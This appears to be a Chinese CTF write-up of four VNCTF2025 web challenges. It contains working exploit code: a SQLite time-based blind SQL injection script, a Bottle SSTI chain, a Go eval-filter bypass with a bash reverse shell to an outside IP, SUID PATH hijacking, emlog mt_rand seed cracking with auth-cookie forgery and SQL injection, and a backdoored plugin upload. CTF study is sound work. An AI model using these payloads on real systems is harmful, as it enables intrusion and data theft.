VNCTF2025-Web-wp

奶龙回家

就一个登录框。。尝试sql注入

回显发生了某种错误??实锤sql注入

bp fuzz一下看看过滤

过滤了= sleep union length等等

先随便测测

1
2
3
4
5
{"username":"123'/**/or/**/'1'<'2","password":"123"}

{"username":"123'/**/or/**/1<2/*","password":"123"}

{"username":"123'/**/or/**/1<2--","password":"123"}

都是回显账号或密码错误,过滤挺多,感觉只能盲注了。试了半天的database()不行。。

1
{"username":"123'/**/or/**/substr(sqlite_version(),1,1)>'0'--","password":"123"}

回显账号或密码错误,正常了!说明数据库为sqlite,sqlite没有sleep函数,但是有randomblob函数

1
{"username":"123'/**/or/**/(case/**/when/**/(substr(sqlite_version(),1,1)>'0')/**/then/**/randomblob(1000000000)/**/else/**/0/**/end)--","password":"123"}

出现明显的时间延迟。可以采用时间盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import time
url = 'http://node.vnteam.cn:47824/login'
flag = ''
for i in range(1,500):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
time.sleep(0.2)
#payload = "-1'/**/or/**/(case/**/when(substr((select/**/name/**/from/**/sqlite_master/**/where/**/type<'zable'),{0},1)>'{1}')/**/then/**/randomblob(500000000)/**/else/**/0/**/end)/*".format(i,chr(mid))
#payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(sql))/**/from/**/sqlite_master/**/where/**/type/**/like/**/'table'/**/and/**/name/**/like/**/'users'),{0},1)>'{1}')/**/then/**/randomblob(500000000)/**/else/**/0/**/end)/*".format(i,chr(mid))
payload = "-1'/**/or/**/(case/**/when(substr((select/**/group_concat(password)from/**/users),{0},1)>'{1}')/**/then/**/randomblob(500000000)/**/else/**/0/**/end)/*".format(i,chr(mid))
datas = {
"username": payload,
"password":'123'
}
start_time=time.time()
res = requests.post(url=url,json=datas)
end_time=time.time()
spend_time=end_time-start_time
if spend_time>=1:
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)

# print('\n'+bytes.fromhex(flag).decode('utf-8'))

依次爆出username和password

1
2
username: nailong
password: woaipangmao114514

学生姓名登记系统

单文件框架?谷歌搜索一下得知为bottle框架,比较冷门,我们看看官方手册:https://www.osgeo.cn/bottle/

它的模板引擎叫SimpleTemplate,考察的估计就是ssti了

测的时候我们发现单行最长23字符,不然会报错,同时我们发现python版本为3.12.x,python3.8以后出现了海象运算符,可以进行拼接

1
2
3
4
5
6
{{a:=''.__class__}}
{{b:=a.__base__}}
{{c:=b.__subclasses__}}
{{d:=c()[154]}}
{{e:=d.__init__}}
{{f:=e.__globals__}}

直接在__globals__中找到了flag

Gin

一道go的白盒审计

看到这里,可以猜想一下大致思路,存在admin用户和user用户,user用户可以上传文件,admin用户可以eval执行命令。同时存在jwt鉴权,那肯定与jwt有关了嘛

然后看一下eval路由是怎么执行命令的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
func Eval(c *gin.Context) {
code := c.PostForm("code")
log.Println(code)
if code == "" {
response.Response(c, http.StatusBadRequest, 400, nil, "No code provided")
return
}
log.Println(containsBannedPackages(code))
if containsBannedPackages(code) {
response.Response(c, http.StatusBadRequest, 400, nil, "Code contains banned packages")
return
}
tmpFile, err := ioutil.TempFile("", "goeval-*.go")
if err != nil {
log.Println("Error creating temp file:", err)
response.Response(c, http.StatusInternalServerError, 500, nil, "Error creating temporary file")
return
}
defer os.Remove(tmpFile.Name())

_, err = tmpFile.WriteString(code)
if err != nil {
log.Println("Error writing code to temp file:", err)
response.Response(c, http.StatusInternalServerError, 500, nil, "Error writing code to temp file")
return
}

cmd := exec.Command("go", "run", tmpFile.Name())
output, err := cmd.CombinedOutput()
if err != nil {
log.Println("Error running Go code:", err)
response.Response(c, http.StatusInternalServerError, 500, gin.H{"error": string(output)}, "Error executing code")
return
}

response.Success(c, gin.H{"result": string(output)}, "success")
}

其实就是执行一个go文件,这个go文件就是我们上传的,再有由admin用户来执行!

那么我们首先需要关注的是jwt伪造。要获取secret_key先,应该是保存在key.go,那么我们要怎么获得呢???

1
2
3
4
5
6
7
8
9
10
11
12
13
func Download(c *gin.Context) {
filename := c.DefaultQuery("filename", "")
if filename == "" {
response.Response(c, http.StatusBadRequest, 400, nil, "Filename is required")
}
basepath := "./uploads"
filepath, _ := url.JoinPath(basepath, filename)
if _, err := os.Stat(filepath); os.IsNotExist(err) {
response.Response(c, http.StatusBadRequest, 404, nil, "File not found")
}
c.Header("Content-Disposition", "attachment; filename="+filename)
c.File(filepath)
}

JoinPath一眼目录穿越,可以任意下载文件

1
http://node.vnteam.cn:45733/download?filename=/../config/key.go

直接拿下key.go

1
2
3
4
5
6
7
8
package config

func Key() string {
return "r00t32l"
}
func Year() int64 {
return 2025
}

获得一个Key和一个Year的。

看看jwt密钥生成逻辑

1
2
3
4
5
6
func GenerateKey() string {
rand.Seed(config.Year())
randomNumber := rand.Intn(1000)
key := fmt.Sprintf("%03d%s", randomNumber, config.Key())
return key
}

本地模拟一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package main

import (
"fmt"
"math/rand"
)

func GenerateKey() string {
rand.Seed(2025)
randomNumber := rand.Intn(1000)
key := fmt.Sprintf("%03d%s", randomNumber, "r00t32l")
return key
}
func main() {
key := GenerateKey() // 调用 GenerateKey 函数
fmt.Println("Generated Key:", key) // 输出结果
}

拿下secret_key

1
122r00t32l

然后我们要关注的是RCE,我们需要解决waf的问题,不允许导入os/exec

1
2
3
4
5
6
7
8
9
10
11
12
func containsBannedPackages(code string) bool {
importRegex := `(?i)import\s*\((?s:.*?)\)`
re := regexp.MustCompile(importRegex)
matches := re.FindStringSubmatch(code)
imports := matches[0]
log.Println(imports)
if strings.Contains(imports, "os/exec") {
return true
}

return false
}

这里有两个突破点啊喂!首先这个regexp只匹配了matches[0],也就是第一个匹配到的import,那么我们后面再写一个import就行啦!也可以通过其他库来代替!

先来试试第一种吧。。直接弹shell好了

1
2
3
4
5
6
7
8
9
10
11
12
13
package main
import (
"fmt"
)
import(
"os/exec"
)
func main() {
cmd:=exec.Command("/bin/bash","-c","bash -i >& /dev/tcp/156.238.233.113/4567 0>&1")
out,err:=cmd.CombinedOutput()
fmt.Println(out)
fmt.Println(err)
}

成功拿到shell!!!

以下方法也可以!

1
2
3
4
5
6
7
8
9
package main

import (
"syscall"
)

func main() {
syscall.Exec("/bin/sh", []string{"sh", "-c", "whoami"}, []string{})
}
1
2
3
4
5
6
7
8
9
10
11
package main

import (
"fmt"
"github.com/PaulXu-cn/goeval"
)

func main() {
cmd, _ := goeval.Eval("", "cmd:=exec.Command(\"bash\",\"-c\",\"exec bash -i &>/dev/tcp/ip/7777 <&1\");out,_:=cmd.CombinedOutput();fmt.Println(string(out))","os/exec", "fmt")
fmt.Println(string(cmd))
}

但是我们cat /flag的时候读到了假的flag,那么接下来我们要做的应该就是提权了,因为flag应该在root下

1
find / -perm -u=s -type f 2>/dev/null

发现了一个奇奇怪怪的东西/…/Cat

其他都用不太了。。

我们看看那是什么

cat不了一点,那把他下下来看看

1
2
3
4
5
6
7
8
9
10
11
12
13
package main
import (
"fmt"
)
import(
"os/exec"
)
func main() {
cmd:=exec.Command("/bin/bash","-c","cp /.../Cat Cat")
out,err:=cmd.CombinedOutput()
fmt.Println(out)
fmt.Println(err)
}

把该文件放到网站目录下

然后我们通过download路由把他下载下来!用ida分析一下

调用了system(“cat /flag”);

因为该文件有suid权限,那么其实就是以root权限来执行该命令

这里当然是假的flag

我们需要看root目录下的flag文件,此处cat并不是/bin/cat,可以环境变量劫持。

1
2
3
echo -e '#!/bin/bash\n/bin/bash' >/tmp/cat
chmod 777 /tmp/cat
export PATH=/tmp:$PATH
1
VNCTF{910a3c76-339b-e0db-73d4-bcfb411e6b7a}

注意这里cat被劫持了,不能用!

ez_emlog

考察0day,有点逆天了。提示mt_rand,随机数生成问题。

直接全局搜

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function getRandStr($length = 12, $special_chars = true, $numeric_only = false)
{
if ($numeric_only) {
$chars = '0123456789';
} else {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ($special_chars) {
$chars .= '!@#$%^&*()';
}
}
$randStr = '';
$chars_length = strlen($chars);
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, $chars_length - 1), 1);
}
return $randStr;
}

查找一下用法,是在install.php中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$config = "<?php\n"
. "//MySQL database host\n"
. "const DB_HOST = '$db_host';"
. "\n//Database username\n"
. "const DB_USER = '$db_user';"
. "\n//Database user password\n"
. "const DB_PASSWD = '$db_pw';"
. "\n//Database name\n"
. "const DB_NAME = '$db_name';"
. "\n//Database Table Prefix\n"
. "const DB_PREFIX = '$db_prefix';"
. "\n//Auth key\n"
. "const AUTH_KEY = '" . getRandStr(32) . md5(getUA()) . "';"
. "\n//Cookie name\n"
. "const AUTH_COOKIE_NAME = 'EM_AUTHCOOKIE_" . getRandStr(32, false) . "';";

AUTH_KEY和AUTH_COOKIE_NAME都用到了getRandStr,我们先看一下AUTH_KEY和AUTH_COOKIE_NAME的用法。

我们发现AUTH_COOKIE_NAME的值是可以被我们知道的。

在同一个进程中只有第一次调用mt_rand()会自动播种,接下来都会根据这个第一次播种的种子来生成随机数
所以说我们可以通过 AUTH_COOKIE_NAME 的值爆破种子,从而得到AUTH_KEY

也要看看AUTH_KEY的用法,发现他在loginauth.php中被使用,可能是登录的身份校验需要用到AUTH_KEY,如果我们获得了AUTH_KEY,那么我们就能通过登录校验。实现登陆的伪造!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
private static function generateAuthCookie($user_login, $expiration)
{
$key = self::emHash($user_login . '|' . $expiration);
$hash = hash_hmac('md5', $user_login . '|' . $expiration, $key);

return $user_login . '|' . $expiration . '|' . $hash;
}

private static function emHash($data)
{
return hash_hmac('md5', $data, AUTH_KEY);
}

public static function validateAuthCookie($cookie = '')
{
if (empty($cookie)) {
return false;
}

$cookie_elements = explode('|', $cookie);
if (count($cookie_elements) !== 3) {
return false;
}

list($username, $expiration, $hmac) = $cookie_elements;

if (!empty($expiration) && $expiration < time()) {
return false;
}

$key = self::emHash($username . '|' . $expiration);
$hash = hash_hmac('md5', $username . '|' . $expiration, $key);

if ($hmac !== $hash) {
return false;
}

$user = self::getUserDataByLogin($username);
if (!$user) {
return false;
}
return $user;
}

上述找出了与AUTH_KEY有关的代码片段

生成认证cookie与证实认证cookie,那就石锤了。接下来我们要做的就是解决随机数问题。

先获取AUTH_COOKIE_NAME

1
EM_AUTHCOOKIE_RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr=%20
1
const AUTH_COOKIE_NAME = 'EM_AUTHCOOKIE_" . getRandStr(32, false) . "';

因此,getRandStr(32, false)的值就是RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr

这里的false是不包含特殊字符,不用管。

然后我们就需要逆推AUTH_KEY的值了!这很简单,我的wp里有详细写过。要注意的是AUTH_KEY是先生成的,AUTH_COOKIE_NAME是后生成的,因此前面要补位32位0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$str_long1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$str_long2 = "RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr";
$ans = '';

for($i=0;$i<32;$i++){
echo "0 0 0 0 ";
}

for($i=0;$i<strlen($str_long2);$i++){
$ans=strpos($str_long1,$str_long2[$i]);
echo $ans.' '.$ans.' '.'0 '.(strlen($str_long1)-1).' ';
}

echo "\n";
1
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 43 43 0 61 1 1 0 61 26 26 0 61 48 48 0 61 21 21 0 61 39 39 0 61 35 35 0 61 51 51 0 61 57 57 0 61 50 50 0 61 38 38 0 61 4 4 0 61 51 51 0 61 37 37 0 61 32 32 0 61 38 38 0 61 17 17 0 61 57 57 0 61 58 58 0 61 11 11 0 61 5 5 0 61 9 9 0 61 47 47 0 61 0 0 0 61 11 11 0 61 40 40 0 61 55 55 0 61 24 24 0 61 16 16 0 61 50 50 0 61 11 11 0 61 17 17 0 61 

使用php_mt_seed工具爆破种子。

1
2430606281

本地运行一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function getRandStr($length = 12, $special_chars = true, $numeric_only = false)
{
if ($numeric_only) {
$chars = '0123456789';
} else {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ($special_chars) {
$chars .= '!@#$%^&*()';
}
}
$randStr = '';
$chars_length = strlen($chars);
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, $chars_length - 1), 1);
}
return $randStr;
}

mt_srand(2430606281);
echo(getRandStr(32));
echo "\n";
echo(getRandStr(32, false));
echo "\n";

结果如下:

1
2
yxuzKkM2QC8L8WLPFvawb(mI4R&NglOA
RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr

然后算出AUTH_KEY即可。

1
const AUTH_KEY = '" . getRandStr(32) . md5(getUA()) . "';
1
2
3
4
UA头从题目中发布的第一篇测试文章中可以获得。
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36

echo(md5("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36"));
1
yxuzKkM2QC8L8WLPFvawb(mI4R&NglOA558fb80a37ff0f45d5abbc907683fc02

拿下了AUTH_KEY。

接下来的关键点是下述三个函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
private static function generateAuthCookie($user_login, $expiration)
{
$key = self::emHash($user_login . '|' . $expiration);
$hash = hash_hmac('md5', $user_login . '|' . $expiration, $key);

return $user_login . '|' . $expiration . '|' . $hash;
}

private static function emHash($data)
{
return hash_hmac('md5', $data, AUTH_KEY);
}

public static function validateAuthCookie($cookie = '')
{
if (empty($cookie)) {
return false;
}

$cookie_elements = explode('|', $cookie);
if (count($cookie_elements) !== 3) {
return false;
}

list($username, $expiration, $hmac) = $cookie_elements;

if (!empty($expiration) && $expiration < time()) {
return false;
}

$key = self::emHash($username . '|' . $expiration);
$hash = hash_hmac('md5', $username . '|' . $expiration, $key);

if ($hmac !== $hash) {
return false;
}

$user = self::getUserDataByLogin($username);
if (!$user) {
return false;
}
return $user;
}

generateAuthCookie函数,validateAuthCookie函数,emHash函数。generateAuthCookie是生成认证cookie,我们想要伪造cookie登录的话那就要使用到这个generateAuthCookie函数。

1
2
3
4
5
6
7
private static function generateAuthCookie($user_login, $expiration)
{
$key = self::emHash($user_login . '|' . $expiration);
$hash = hash_hmac('md5', $user_login . '|' . $expiration, $key);

return $user_login . '|' . $expiration . '|' . $hash;
}

传参$user_login和$expiration,我们查找用法看一下是啥。

1
2
3
4
5
6
7
8
9
10
11
public static function setAuthCookie($user_login, $persist = false)
{
if ($persist) {
$expiration = time() + 3600 * 24 * 30 * 12;
} else {
$expiration = 0;
}
$auth_cookie_name = AUTH_COOKIE_NAME;
$auth_cookie = self::generateAuthCookie($user_login, $expiration);
setcookie($auth_cookie_name, $auth_cookie, $expiration, '/', '', false, true);
}

$expiration几乎不用管了,看$user_login就行,继续查找用法。

user_login是用户名。那就很简单了,我们知道用户名的话就能伪造cookie实现登录。

但是没有给出任何用户名。。。

找了半天,发现!在validateAuthCookie函数中有个getUserDataByLogin的方法,应该是通过用户名获取用户信息的一个方法。

其中存在sql语句的拼接!一眼sql注入。。

先来看看validateAuthCookie函数,捋一下

这个函数接收认证cookie,然后将其拆分为原来的形式

1
list($username, $expiration, $hmac) = $cookie_elements;

因此,sql注入直接万能密码就能进入了!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

function generateAuthCookie($user_login, $expiration)
{
$key = emHash($user_login . '|' . $expiration);
$hash = hash_hmac('md5', $user_login . '|' . $expiration, $key);

return $user_login . '|' . $expiration . '|' . $hash;
}

function emHash($data)
{
return hash_hmac('md5', $data, 'yxuzKkM2QC8L8WLPFvawb(mI4R&NglOA558fb80a37ff0f45d5abbc907683fc02');
}

echo(generateAuthCookie("' or 1=1#",0));

1
' or 1=1#|0|71f4f3bbe056e7791debdc858b458a7c

然后对validateAuthCookie函数查找一下用法,看看怎么将伪造的cookie传入。

1
2
3
4
5
6
7
8
9
10
11
12
private function checkAuthCookie()
{
if (!isset($_COOKIE[AUTH_COOKIE_NAME])) {
Output::authError('auth cookie error');
}
$userInfo = loginauth::validateAuthCookie($_COOKIE[AUTH_COOKIE_NAME]);
if (!$userInfo) {
Output::authError('auth cookie error');
}
$this->curUserInfo = $userInfo;
$this->curUid = (int)$userInfo['uid'];
}

直接进到后台!耶耶耶!!!

查一下后台漏洞吧。。。本以为会直接给flag

https://blog.csdn.net/W13680336969/article/details/137267677

https://github.com/yangliukk/emlog/blob/main/Plugin-getshell.md

接下来跟着文章走一下

在网上找一个插件压缩包,构建如下格式,往里面塞一个后门即可。(这里我直接把插件中的postchat.php文件内容改成了后门)

但是我们不知道上传的目录

看一下plugin.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
if ($action == 'upload_zip') {
if (defined('APP_UPLOAD_FORBID') && APP_UPLOAD_FORBID === true) {
emMsg('系统禁止上传安装应用');
}
LoginAuth::checkToken();
$zipfile = isset($_FILES['pluzip']) ? $_FILES['pluzip'] : '';

if ($zipfile['error'] == 4) {
emDirect("./plugin.php?error_d=1");
}
if ($zipfile['error'] == 1) {
emDirect("./plugin.php?error_g=1");
}
if (!$zipfile || $zipfile['error'] >= 1 || empty($zipfile['tmp_name'])) {
emMsg('插件上传失败, 错误码:' . $zipfile['error']);
}
if (getFileSuffix($zipfile['name']) != 'zip') {
emDirect("./plugin.php?error_f=1");
}

$ret = emUnZip($zipfile['tmp_name'], '../content/plugins/', 'plugin');
switch ($ret) {
case 0:
emDirect("./plugin.php?activate_install=1");
break;
case -1:
emDirect("./plugin.php?error_e=1");
break;
case 1:
case 2:
emDirect("./plugin.php?error_b=1");
break;
case 3:
emDirect("./plugin.php?error_c=1");
break;
}
}

重点在此处:

1
$ret = emUnZip($zipfile['tmp_name'], '../content/plugins/', 'plugin');
1
VNCTF{8ceee0ba-f6e3-f38f-903c-4f96cab7d6b5}